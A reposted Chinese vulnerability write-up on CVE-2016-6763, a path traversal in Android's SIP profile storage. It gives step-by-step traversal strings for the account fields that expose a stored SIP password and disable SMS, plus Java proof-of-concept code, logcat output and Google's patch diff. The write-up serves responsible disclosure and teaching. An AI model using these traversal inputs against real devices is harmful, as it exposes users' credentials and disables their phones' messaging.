转载

Android Telephony拒绝服务漏洞(CVE-2016-6763)分析

Author:heeeeen@MS509

0x00 概要

Google 12月的安全公告修复了我们提交的一个Telephony拒绝服务漏洞。

* CVE: CVE-2016-6763

* BugID: A-31530456

* 严重性: 高

* 影响的Google设备: All

* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0

0x01 漏洞详情

漏洞位于负责sip账户序列化和反序列化的SipProfileDb.java中。见deleteProfile、saveProfile和retriveSipProfileName等方法,存在目录穿越,mProfileDirectory和Sip profile name(形式为:sip账户@sip主机名)未经检查就直接拼接在了一起,而Sip profile name允许存在包括’/’和’..’等在内的特殊字符,因此本地攻击者可以通过构建包含这些特殊字符的Sip profile name,将sip序列化文件存储于属于radio用户的的任意目录。

Android Telephony拒绝服务漏洞(CVE-2016-6763)分析

0x02 漏洞利用

这个漏洞允许具有物理接触权限的本地攻击者或者被欺骗的用户在radio用户的目录下创建一个名字可控的文件夹,或者删除radio用户目录下的所有文件。在报给Google的漏洞报告中,我们基于Nexus 6P设备和Android 6.0.1版本,设想了两种需要物理接触和用户交互的攻击场景,但根据Google安全公告,不排除他们发现了自动化的攻击面。

窃取SIP账户口令

假设手机上已有一个SIP账户:alice@CompromisedSite,口令为”12345″

1. 打开电话应用的设置->通话->通话账号->Sip账号,对已有账号进行修改;

2. 将用户名修改为”alice/”,将服务器名修改为“CompromisedSite/../../../../../../../../sdcard/”,点击保存。

sip 账户配置文件将出现在sdcard目录,可以直接查看这个配置文件获得原始口令“12345”

shell@angler:/sdcard $ ls -a -l

-rw-rw—- root sdcard_rw 1843 2016-09-12 14:58 .pobj

禁用短信或者电话功能

1. 打开电话应用的设置->通话->通话账号->Sip账号,添加一个新的Sip账号;

2. 用户名填“alice/”,服务器名填“somesite/../../../../../../../../data/data/com.android.providers.telephony/“,密码随意,然后点击保存;

3. 由于com.android.phone将会对目录名和序列化的sip配置文件中的sip profile name进行检查,这个账户不会出现在Sip账户的ListView中,然而由于目录穿越的存在,sip配置文件仍然会存储于/data/data/com.android.providers.telephony/目录下;

4. 使用以下代码,将刚才添加的Sip账号显示出来;

public class MainActivity extends AppCompatActivity {

Button m_btn = null;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

m_btn = (Button)findViewById(R.id.siptest);

m_btn.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View v) {

Intent i = new Intent();

i.setComponent(new ComponentName(“com.android.phone”,

“com.android.services.telephony.sip.SipPhoneAccountSettingsActivity”));

PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(“com.android.phone”,

“com.android.services.telephony.sip.SipConnectionService”),

“alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/”);

i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

startActivity(i);

}

});

}

}

5. 将服务器修改

为“somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db”,并点击保存,这将依次调用SipProfileDb.java中的deleteProfile和savaProfile方法。因此,首先是com.android.providers.telephony目录下的所有文件被删除,紧接着建立databases目录以及其下的mmssms.db目录。

Android Telephony拒绝服务漏洞(CVE-2016-6763)分析

此时,手机的所有短信功能将被禁用,既不能收,也不能发。

Android Telephony拒绝服务漏洞(CVE-2016-6763)分析

logcat显示sqlite错误,因为我们在/data/data/com.android.providers.telephony/databases/放了一个假的mmsms.db 文件(目录)占位,而使真正的mmssms.db无法恢复。如果使用假的telephony.db,则可以禁用电话功能,或者瞄准/data/misc/radio/目录下的其他文件进行占位,都会对手机的radio功能带来影响。

09-14 10:19:44.593 3862 4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date<=9223372036854775807 AND read=0]

09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel

09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)

09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)

由于占位文件的存在,普通用户只有通过恢复工厂设置重新启用短信功能。

0x03 修复

Google的修复比较严谨,不是简单的过滤’/’猥琐字符。

@@ -20,6 +20,7 @@

import android.content.Context;

import android.net.sip.SipProfile;

+import android.util.EventLog;

import android.util.Log;

import java.io.File;

@@ -51,9 +52,13 @@

mSipSharedPreferences = new SipSharedPreferences(context);

}

– public void deleteProfile(SipProfile p) {

+ public void deleteProfile(SipProfile p) throws IOException {

synchronized(SipProfileDb.class) {

– deleteProfile(new File(mProfilesDirectory + p.getProfileName()));

+ File profileFile = new File(mProfilesDirectory, p.getProfileName());

+ if (!isChild(new File(mProfilesDirectory), profileFile)) {

+ throw new IOException(“Invalid Profile Credentials!”);

+ }

+ deleteProfile(profileFile);

if (mProfilesCount < 0) retrieveSipProfileListInternal();

mSipSharedPreferences.setProfilesCount(–mProfilesCount);

}

@@ -69,7 +74,10 @@

public void saveProfile(SipProfile p) throws IOException {

synchronized(SipProfileDb.class) {

if (mProfilesCount < 0) retrieveSipProfileListInternal();

– File f = new File(mProfilesDirectory + p.getProfileName());

+ File f = new File(mProfilesDirectory, p.getProfileName());

+ if (!isChild(new File(mProfilesDirectory), f)) {

+ throw new IOException(“Invalid Profile Credentials!”);

+ }

if (!f.exists()) f.mkdirs();

AtomicFile atomicFile =

new AtomicFile(new File(f, PROFILE_OBJ_FILE));

@@ -141,4 +149,19 @@

}

return null;

}

+

+ /**

+ * Verifies that the file is a direct child of the base directory.

+ */

+ private boolean isChild(File base, File file) {

+ if (base == null || file == null) {

+ return false;

+ }

+ if (!base.equals(file.getAbsoluteFile().getParentFile())) {

+ Log.w(TAG, “isChild, file is not a child of the base dir.”);

+ EventLog.writeEvent(0x534e4554, “31530456”, -1, “”);

+ return false;

+ }

+ return true;

+ }

}

0x04 时间线

2016-09-12: 上报Google

2016-10-04: Google确认漏洞,评级高

2016-12-05: 发布补丁

2016-12-08: 公开

原文  http://drops.wiki/index.php/2016/12/20/android-telephony/
正文到此结束
Loading...